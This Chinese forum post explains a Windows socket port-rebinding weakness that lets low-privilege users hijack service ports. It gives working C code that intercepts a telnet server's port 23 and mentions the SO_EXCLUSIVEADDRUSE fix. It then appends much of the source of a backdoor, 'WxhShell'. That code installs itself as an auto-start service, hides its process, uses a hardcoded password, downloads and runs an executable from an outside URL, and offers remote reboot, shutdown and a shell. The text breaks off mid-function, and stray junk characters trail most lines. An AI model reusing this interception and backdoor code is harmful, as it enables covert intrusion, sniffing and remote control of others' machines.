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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,u-i9`B  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); iS&fp[Th  
8&qCH>Cf  
  saddr.sin_family = AF_INET; t(?m!Z?tb  
]QJLES  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); L}P<iB   
|F-_YR  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [a53H$`\5  
ZtlF]k:MV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 67+ K ?!,  
gs_"H  
  这意味着什么?意味着可以进行如下的攻击: Os?G_ziIB  
2/ PaXI/Z  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R{NmWj['Mg  
'C]zB'H=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _&D I_'5q+  
^SpD)O{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 WpP8J1KN[  
8b8ui  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  K I  
Fx~=mYU  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cR 4xy26s  
Q%o ]&Hdn  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 I;qeDCM  
R44JK  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 NS6#od ZeV  
GC?\GV  
  #include {# ;e{v  
  #include w")VcAq  
  #include RnPJ,Z5s&&  
  #include    -_[n2\|we)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   dB ?+-aE  
  int main() >M<rr!|  
  { CN#`m]l.  
  WORD wVersionRequested; sg;G k/]  
  DWORD ret; 0t*JP  
  WSADATA wsaData; |eAl!k  
  BOOL val; :O-Y67>&  
  SOCKADDR_IN saddr; \om$%FUP  
  SOCKADDR_IN scaddr; 68V66:0  
  int err; [h""AJ~t  
  SOCKET s; vRp =L54z  
  SOCKET sc; V.Dqbv  
  int caddsize; g05:A0X#  
  HANDLE mt; ;JDn1(6  
  DWORD tid;   ^*#5iT8/  
  wVersionRequested = MAKEWORD( 2, 2 ); tj;<Z.  
  err = WSAStartup( wVersionRequested, &wsaData ); NC)Iu  
  if ( err != 0 ) { TFb9gOTJ  
  printf("error!WSAStartup failed!\n"); 51;V#@CsQ  
  return -1; X@:pys 8@  
  } 1/c7((]7(,  
  saddr.sin_family = AF_INET; mg[=~&J^  
   PEW^Vl-6q  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 W&q]bi@C  
` :eXXE  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %k_R;/fjW  
  saddr.sin_port = htons(23); GM%%7^uE  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DDq*#;dP  
  { N&K:Jp  
  printf("error!socket failed!\n"); Q9tBHz  
  return -1; ~>3$Id:  
  } cx_FtD  
  val = TRUE; 8fKt6T  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `YVdIDl]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) y-m<&{q  
  { 6]^ShOX_Z  
  printf("error!setsockopt failed!\n"); L (XGD  
  return -1; y2gI]A  
  } lO3$V JI  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; fWhwI+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 xbnx*4o0  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 h-+9Bv]  
6QkdH7Qf=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v: cO+dQ  
  { Uh'3c"  
  ret=GetLastError(); (zIP@ H  
  printf("error!bind failed!\n"); UX}ZE.cV  
  return -1; "*CQ<@+  
  } Vcz ExP  
  listen(s,2); w{f!t8C*s  
  while(1) sXDS_Q  
  { V0q./NuO  
  caddsize = sizeof(scaddr); RMUR@o5N  
  //接受连接请求 i 2hP4<;h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J3KY?,g3O_  
  if(sc!=INVALID_SOCKET) mRZC98$ @r  
  { Y*/:IYr`  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3?iRf6;n  
  if(mt==NULL) E;.<'t>  
  { /k qW  
  printf("Thread Creat Failed!\n"); GGo)k1T|)  
  break; /) sA{q 4  
  } mnZ/rb  
  }  }&BE*U8_  
  CloseHandle(mt); rCR?]1*Z  
  } |b7 v(Hx  
  closesocket(s); _eb:"(m  
  WSACleanup(); q4'szDYO2  
  return 0; hNgbHzW  
  }   /6jt 5N&,  
  DWORD WINAPI ClientThread(LPVOID lpParam) S 1sNVW  
  { 6Qne rd%Ec  
  SOCKET ss = (SOCKET)lpParam; ukHSHsR  
  SOCKET sc; pp@Jndlg  
  unsigned char buf[4096]; nd*9vxM  
  SOCKADDR_IN saddr; 23?\jw3w  
  long num; Wjc1EW!2x  
  DWORD val; bRT1~)  
  DWORD ret; Cj"+` C)l  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @8E mY,{;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8 z0j}xY%  
  saddr.sin_family = AF_INET; smvIU0:K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `T7gfb%1-3  
  saddr.sin_port = htons(23); 4Xi _[ Xf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S+Z_Qf  
  { j hf%ze  
  printf("error!socket failed!\n"); MkgeECMf  
  return -1; mz$)80ly  
  } /\34o{  
  val = 100;  >Eg/ir0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t0h @i`  
  { nI7G"f[%r;  
  ret = GetLastError(); Sm-gi|A  
  return -1; #=C!Xx&  
  } ^kJ(bBY  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gEcRJ1Q;C  
  { hEla8L4Y  
  ret = GetLastError(); q}P< Ejq}  
  return -1; |YCGWJaci  
  } qPqpRi  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) n6 D9f~8"  
  { {U@&hE -  
  printf("error!socket connect failed!\n"); cdiDfiE  
  closesocket(sc); l)tK/1 W  
  closesocket(ss); ,{==f7|w  
  return -1; v zgR3r  
  } Ks'msSMC  
  while(1) reseu*5  
  { dz@L}b*  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ZGO% lkZ.  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 0?OTa<c  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $I*ye+a*{q  
  num = recv(ss,buf,4096,0); :cU6W2EV  
  if(num>0) aVkgE>  
  send(sc,buf,num,0); NwPGH= V  
  else if(num==0) C".nB12  
  break; hM$K?t  
  num = recv(sc,buf,4096,0); `/?XvF\  
  if(num>0) +g/TDwyVH  
  send(ss,buf,num,0); zURxXo/\V  
  else if(num==0) )y>o;^5'  
  break; =nPIGI72VO  
  } ,dn6z#pb+  
  closesocket(ss); !qGER.  
  closesocket(sc); 4@ EY+p  
  return 0 ; mHCp^g4Q  
  } (Z(O7X(/  
8T"C]  
~nYp*t C'  
========================================================== BkywYCWZ )  
Y'K+O  
下边附上一个代码,,WXhSHELL t8SvU  
pFE&`T@ <  
========================================================== r\nKJdh;ka  
}nh!dVA8lh  
#include "stdafx.h" rXl ~D!  
F<FNZQ@<U  
#include <stdio.h> -Pds7}F8  
#include <string.h> .U}"ONd9e  
#include <windows.h> +9mE1$C  
#include <winsock2.h> Ja1[vO"YgP  
#include <winsvc.h> ;k1 \-  
#include <urlmon.h> {2jetX`@h  
{Yq"%n'0  
#pragma comment (lib, "Ws2_32.lib") n-ZOe]3  
#pragma comment (lib, "urlmon.lib") .*N]SbU<8  
0zJT _H+  
#define MAX_USER   100 // 最大客户端连接数 0X \OQ;  
#define BUF_SOCK   200 // sock buffer +c4-7/kE  
#define KEY_BUFF   255 // 输入 buffer `|nCr  
f3_-{<FZ  
#define REBOOT     0   // 重启 [I6(;lq2  
#define SHUTDOWN   1   // 关机 %C8p!)Hu  
BpL7s ej7  
#define DEF_PORT   5000 // 监听端口 Kf=6l#J7  
^n! j"  
#define REG_LEN     16   // 注册表键长度 (41BUX  
#define SVC_LEN     80   // NT服务名长度 bEO\oS  
B$ty`/{w,B  
// 从dll定义API i/Zv@GF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vbFi# |EU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yC%zX}5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \tv^],^`  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tc-pVw:TV  
t<8vgdD  
// wxhshell配置信息 Oz8"s4Y7  
struct WSCFG { TpnJm%9`)t  
  int ws_port;         // 监听端口 </xz V<Pi  
  char ws_passstr[REG_LEN]; // 口令 K|n%8hRy  
  int ws_autoins;       // 安装标记, 1=yes 0=no jhRg47A  
  char ws_regname[REG_LEN]; // 注册表键名 ;/-v4  
  char ws_svcname[REG_LEN]; // 服务名 {tS^Q*F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VTS7K2lBvX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 y $i^C:N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =*paa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no WY>r9+A?W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q,Oj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7TDt2:;]  
?E>(zV1D/  
}; VkFvV><"  
8{0=tOXx{  
// default Wxhshell configuration FYwMmb ~3  
struct WSCFG wscfg={DEF_PORT, d6(R-k#B  
    "xuhuanlingzhe", FYOQ}N  
    1, Bh` Y?S  
    "Wxhshell", \xCI8 *W  
    "Wxhshell", TRLz>mQ  
            "WxhShell Service", 7(8i~}  
    "Wrsky Windows CmdShell Service", fEv`iXZG  
    "Please Input Your Password: ", 31VDlcn E  
  1, tW^oa  
  "http://www.wrsky.com/wxhshell.exe", J\06j%d,  
  "Wxhshell.exe" ShP&ss  
    }; X283.?  
uUhqj.::<Y  
// 消息定义模块 t(~V:+W9  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ot%^FvQ[c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; hB?a{#JL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; W|2o^ V  
char *msg_ws_ext="\n\rExit."; 4*`AYx(  
char *msg_ws_end="\n\rQuit."; MWGs:tpL4  
char *msg_ws_boot="\n\rReboot..."; Z--A:D>  
char *msg_ws_poff="\n\rShutdown..."; c >O>|*I  
char *msg_ws_down="\n\rSave to "; kdgU1T@y.  
0f_+h %%=  
char *msg_ws_err="\n\rErr!"; 5{zmuv:  
char *msg_ws_ok="\n\rOK!"; \C{Dui) F  
,(&p "O":  
char ExeFile[MAX_PATH]; xX !`0T7Y  
int nUser = 0; V yOuw9  
HANDLE handles[MAX_USER]; |2Krxi3*  
int OsIsNt; Ee~<PDzB  
biLNR"/E  
SERVICE_STATUS       serviceStatus; +6zW(Ql/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a- \M)}T  
6%-RKQi  
// 函数声明 XBr-UjQ  
int Install(void); c*m7'\  
int Uninstall(void); )7aUDsu>4  
int DownloadFile(char *sURL, SOCKET wsh); *\-$.w)k  
int Boot(int flag); CI#6 r8u  
void HideProc(void); JJQS7,vG  
int GetOsVer(void); mBwM=LAZ  
int Wxhshell(SOCKET wsl); _YK66cS3E/  
void TalkWithClient(void *cs); w$)NW57[|  
int CmdShell(SOCKET sock); *XU2%"Sc  
int StartFromService(void); N1',`L5  
int StartWxhshell(LPSTR lpCmdLine); X_3*DqY  
'!hA!eo>J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yjF;%A/0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "^froQ{"T  
Y:?cWO  
// 数据结构和表定义 }O + a  
SERVICE_TABLE_ENTRY DispatchTable[] = 2iWS k6%R  
{ JI3x^[(Z  
{wscfg.ws_svcname, NTServiceMain}, ron-v"!  
{NULL, NULL} DXa!"ZU  
}; i-jrF6&  
,<CFjtelO  
// 自我安装 OGR2Y  
int Install(void) SzTa[tJ+  
{ 4\_~B{kzZ  
  char svExeFile[MAX_PATH]; k4E2OyCFoJ  
  HKEY key; '+s?\X4VC  
  strcpy(svExeFile,ExeFile); R9&3QRW|  
+QW| 8b  
// 如果是win9x系统,修改注册表设为自启动 '=WPi_Z5:C  
if(!OsIsNt) { ez-jVi-Fi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q\$k'(k>35  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m ?e::W  
  RegCloseKey(key); $eq*@5B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c:[8ng 2v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J+(B]8aj  
  RegCloseKey(key); e0$.|+  
  return 0; 5r` x\  
    } 6uTFgSqZ  
  } Bjp4:;Bb  
} `DFo:w!k  
else { A"}Ib'  
&}rmDx  
// 如果是NT以上系统,安装为系统服务 Z}AhDIw!G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <r1/& RW,  
if (schSCManager!=0) b|DiU}  
{ v,L@nlD]  
  SC_HANDLE schService = CreateService T!jMh-8  
  ( W; zzc1v  
  schSCManager, ?u4t;  
  wscfg.ws_svcname, 'lMDlTU O  
  wscfg.ws_svcdisp, =T-jG_.H  
  SERVICE_ALL_ACCESS, Y-s6Z \  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V q[4RAd^P  
  SERVICE_AUTO_START, 2PC:F9dh\  
  SERVICE_ERROR_NORMAL, S]Qf p,  
  svExeFile, UrmnHc>}c  
  NULL, ZVyJ%"(E  
  NULL, pSl4^$2XR  
  NULL, pV(qan,  
  NULL, ,@]*Xgt=  
  NULL rU |%  
  ); 3^,p$D<T:,  
  if (schService!=0) 0aqq*e'c  
  { U1)!X@F{  
  CloseServiceHandle(schService); =&"a:l  
  CloseServiceHandle(schSCManager); |4j'KM;U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bIXD(5y  
  strcat(svExeFile,wscfg.ws_svcname); RgD%pNhI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { iOB*K)U1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $Xr4=9(|7  
  RegCloseKey(key); ;r BbLM`  
  return 0; .Q!pQ"5  
    } s>I~%+V.?:  
  } J(Fk@{!F.*  
  CloseServiceHandle(schSCManager); FvXpqlp  
} n #S?fsQN  
} {rzvZ0-j}  
"H\R*\-0  
return 1; B.4Or]  
} 98Y1-Z^ .  
fP/;t61Z  
// 自我卸载 ;3\'}2^|l  
int Uninstall(void) #OwxxUeZ  
{ A\})H  
  HKEY key; E^B3MyS^^  
u)[i'ceQZ:  
if(!OsIsNt) { 4*9BAv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "#8I &xZK  
  RegDeleteValue(key,wscfg.ws_regname); zXW;W$7V4  
  RegCloseKey(key); T}jW,Ost  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MP p    
  RegDeleteValue(key,wscfg.ws_regname); |)OC1=As  
  RegCloseKey(key); l:OXxHxRi  
  return 0; o0_H(j?  
  } ]zz%gZz  
} )Vo%}g?6!  
} ul{D)zm\D  
else { XZ"oOE0=  
>?jmeD3u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uBw[|,yn2*  
if (schSCManager!=0) c27Zh=;Tj  
{ e\._M$l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); r2\ }_pIj  
  if (schService!=0) Flaqgi/j  
  { \rY\wa  
  if(DeleteService(schService)!=0) { e> Dux  
  CloseServiceHandle(schService); E%?> %h  
  CloseServiceHandle(schSCManager); Xdh@ ^`  
  return 0; r_MP[]f|0  
  } {S`Rr/E|%  
  CloseServiceHandle(schService); N}Or+:"O:q  
  } NNBT.k3)  
  CloseServiceHandle(schSCManager); nK`H;k  
} G_}oI|B  
} *G[` T%g  
Mehp]5*  
return 1; *i"Mu00b  
} p\}!uS4 (  
l-2lb&n  
// 从指定url下载文件 #!>`$  
int DownloadFile(char *sURL, SOCKET wsh) 0x # V   
{ s >k4G  
  HRESULT hr; %reW/;)l{  
char seps[]= "/"; *, R ~[g  
char *token; ]YY4{E(9d  
char *file; r-Oz k$  
char myURL[MAX_PATH]; Ky*xAx:  
char myFILE[MAX_PATH]; p7L6~IN  
Jw^h<z/Ux  
strcpy(myURL,sURL); |!J_3*6$>*  
  token=strtok(myURL,seps); 4'.] -u  
  while(token!=NULL) -|P7e  
  { c^R "g)gr  
    file=token; = gcZRoL  
  token=strtok(NULL,seps); X7SSTcA   
  } q)PSHr=Z  
yMOYTN@]  
GetCurrentDirectory(MAX_PATH,myFILE); D >kkA|>  
strcat(myFILE, "\\"); UMH~Q`"  
strcat(myFILE, file); tPDB'S:&3  
  send(wsh,myFILE,strlen(myFILE),0); X^C $|:  
send(wsh,"...",3,0); ?sxf_0*  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I#xhmsF  
  if(hr==S_OK) GYonb) F  
return 0; Ok phbAX  
else h1#l12k^'  
return 1; U+ uIuhz  
OA7=kH@3c  
} %5;kNeD\Fq  
Up>,~bs]  
// 系统电源模块 #+^l3h MK  
int Boot(int flag) iHWt;]  
{ y*8;T v|  
  HANDLE hToken; eTt{wn;6  
  TOKEN_PRIVILEGES tkp; 5;[0Q  
Xm6M s<z6  
  if(OsIsNt) {  c70B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `Mo%)I<`=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z u1gP/  
    tkp.PrivilegeCount = 1; !9^GkFR6n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +EZr@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); we?t/YB=  
if(flag==REBOOT) { QzYaxNGv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ">s0B5F7  
  return 0; kEg~yN  
} z=LO$,JW`  
else { )EG-xo@X  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d%Ku 'Jy  
  return 0; l4OPzNc'  
} )Y?E$=M +B  
  } ;8gODj:dO  
  else { b{ W ,wn  
if(flag==REBOOT) { x_EU.924uY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &0mhO+g   
  return 0; *gI9CVfQl  
} 5JZZvc$au  
else { [ HjGdC  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =IIE]<z  
  return 0; ,=P0rbtK  
} Y C}$O2  
} v=H!Y";  
87nsWBe  
return 1; CzT_$v_  
} Vb2")+*:  
*c@]c~hY,  
// win9x进程隐藏模块 &J=x[{R  
void HideProc(void) S*rcXG6Q^  
{ YGLR%PYv"  
b$FXRR\G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wJF$<f7P  
  if ( hKernel != NULL ) UOI Z8Po  
  { <7X+-%yb;  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Rh7=,=u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); St1>J.k_  
    FreeLibrary(hKernel); c{f1_qXN  
  } &l~=c2  
=`%%*  
return; {XYf"ONi  
} $Vm J[EF1  
!?)iP  
// 获取操作系统版本 W/;qMP1"-  
int GetOsVer(void) "( ?[$R  
{ wT\dzp>/  
  OSVERSIONINFO winfo; F^');8~L  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @yjui  
  GetVersionEx(&winfo); m<22E0=g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q&9& )8-  
  return 1; @aGS~^U h  
  else Mq,_DQ  
  return 0; vGPaWYV  
} )5bdWJ>l  
 ,#-^  
// 客户端句柄模块 fKT(.VN q5  
int Wxhshell(SOCKET wsl) GgjBLe=C  
{ 6d/b*,4[  
  SOCKET wsh; fmq^AnKd  
  struct sockaddr_in client; %n #^#:   
  DWORD myID; RrqZ5Gonj  
qsL6*(S(r  
  while(nUser<MAX_USER) ?)5M3 lV3k  
{ ';7|H|,F  
  int nSize=sizeof(client); gM3gc;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LvS3c9|Aj  
  if(wsh==INVALID_SOCKET) return 1; =;xlmndT,  
v]27+/a$c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ? 5 V-D8k  
if(handles[nUser]==0) `24:Eg6r  
  closesocket(wsh); N,_ej@L8  
else yc5n   
  nUser++; -.WVuc`  
  } `+/[0B=.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O^gq\X4}  
PZl(S}VY  
  return 0; =U".L  
} ]QU52R@M  
Onoi6^G  
// 关闭 socket ^q$vyY   
void CloseIt(SOCKET wsh) K+mtuB]yr  
{ Qi7^z;  
closesocket(wsh); jW",'1h<n  
nUser--; L=}UApK  
ExitThread(0); +=@Z5eu  
} `ionMTZY  
Vt4}!b(O  
// 客户端请求句柄 3B "rI  
void TalkWithClient(void *cs) Q<``}:y|>  
{ fhn0^Qc"+  
Tm^zo Vi  
  SOCKET wsh=(SOCKET)cs; AjANuyUaP  
  char pwd[SVC_LEN]; @]#+`pZ4A  
  char cmd[KEY_BUFF]; ~K],hi^<P  
char chr[1]; 9e :E% 2  
int i,j; (*fsv g~  
Nmsb  
  while (nUser < MAX_USER) { aLXA9?  
qc'tK6=jp  
if(wscfg.ws_passstr) { |I+E`,n"b  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |_2ANWHz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q84KU8?d  
  //ZeroMemory(pwd,KEY_BUFF); W{m0z+N[B  
      i=0; |H_)u  
  while(i<SVC_LEN) { Pe wPl0  
X7c*T /  
  // 设置超时 Yhw* `"X  
  fd_set FdRead; c[y=K)<Z  
  struct timeval TimeOut; FVQWz[N  
  FD_ZERO(&FdRead); Jp-ae0 Ewa  
  FD_SET(wsh,&FdRead); X)f"`$  
  TimeOut.tv_sec=8; |f?C*t',  
  TimeOut.tv_usec=0; *u{.K:.I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1v\-jM"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); IfXLnD^||  
fF[g%?w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rw\4KI@ L  
  pwd=chr[0]; H@j^,  
  if(chr[0]==0xd || chr[0]==0xa) { b);}x1L.T  
  pwd=0; QT&{M #Ydn  
  break; D[#\Y+N  
  } MM8)yCI  
  i++; };!c]/,  
    } B=c^ma  
.RWBn~b#I  
  // 如果是非法用户,关闭 socket tl^[MLQa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &s<  
} [sk"2  
_gGy(`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ? sewU9*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L2h+[f  
6Rf5  
while(1) { oV!9B-<  
5~"=Fm<uD  
  ZeroMemory(cmd,KEY_BUFF);  zm.2L  
86I*  
      // 自动支持客户端 telnet标准   Hf-F-~E  
  j=0; %ej"ZeM  
  while(j<KEY_BUFF) { BmJ?VJ}Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v1lj/A  
  cmd[j]=chr[0]; uU\iji\  
  if(chr[0]==0xa || chr[0]==0xd) { T?ZMmUE  
  cmd[j]=0; 6e*b;{d  
  break; /(0d{  
  } E37@BfpO3  
  j++; &L?Dogo  
    } &sRJ'oc  
\~H"!vj  
  // 下载文件 :ZIcWIV-  
  if(strstr(cmd,"http://")) { QE}@|H9xs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "}EbA3  
  if(DownloadFile(cmd,wsh)) f\^QV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E{ ,O}  
  else k1H0hDE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J@TM>R  
  } #"M Pe4  
  else { *j* WE\  
fytx({I .a  
    switch(cmd[0]) { e](=)h|  
  ,{50zx2  
  // 帮助 <XagkD  
  case '?': { m&%b;%,J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >dl!Ep  
    break; N9ufTlq s  
  } y b G)=0  
  // 安装 i=a LC*@  
  case 'i': { @6!JW(,]\  
    if(Install()) `+o.w#cl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YC_^jRB8n  
    else 8#Z5-",iw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HKkf+)%)x  
    break; VfwD{+ 5  
    } V"ZbKV +[  
  // 卸载 Uk2q,2  
  case 'r': { %E\%nTV  
    if(Uninstall()) kt#W~n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h,+=h;!  
    else z>:7}=H0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <X |h *  
    break; bH{aI:9Fb  
    } c" 7pf T  
  // 显示 wxhshell 所在路径 gsp 7N  
  case 'p': { OQQ9R?Ll{  
    char svExeFile[MAX_PATH]; k#(cZ  
    strcpy(svExeFile,"\n\r"); dL` +^E>  
      strcat(svExeFile,ExeFile); ,f+5x]F?m  
        send(wsh,svExeFile,strlen(svExeFile),0); |7$h@KF=S  
    break; bZXNo  
    } /<$"c"UQ  
  // 重启 d"UW38K{  
  case 'b': { ,no:6&#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?Q3~n^  
    if(Boot(REBOOT)) J":9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @;}H<&"  
    else { }$1 ;<  
    closesocket(wsh); Ag6 (  
    ExitThread(0); }6> J   
    } z)>{O3  
    break; F/SsiUBS  
    } Cpcd`y=IN  
  // 关机 0AKwZ' &H  
  case 'd': { E3skC%}  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |mmG s  
